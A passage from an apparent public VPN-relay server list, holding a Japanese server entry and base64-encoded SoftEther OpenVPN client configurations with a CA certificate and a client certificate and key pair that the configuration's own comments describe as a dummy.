tvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn857437370,150.246.127.73,724321,3,945014744,Japan,JP,55,67844195,121489,50108723884477,2weeks,DESKTOP-TV3OSCP's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNTAuMjQ2LjEyNy43MyAxMzAwDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRl